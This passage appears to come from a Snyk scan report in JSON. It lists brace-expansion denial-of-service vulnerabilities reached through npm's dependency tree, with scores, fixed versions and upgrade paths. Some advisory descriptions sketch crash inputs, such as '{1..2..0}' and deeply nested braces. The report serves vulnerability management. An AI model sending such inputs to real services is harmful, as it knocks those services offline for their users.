"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
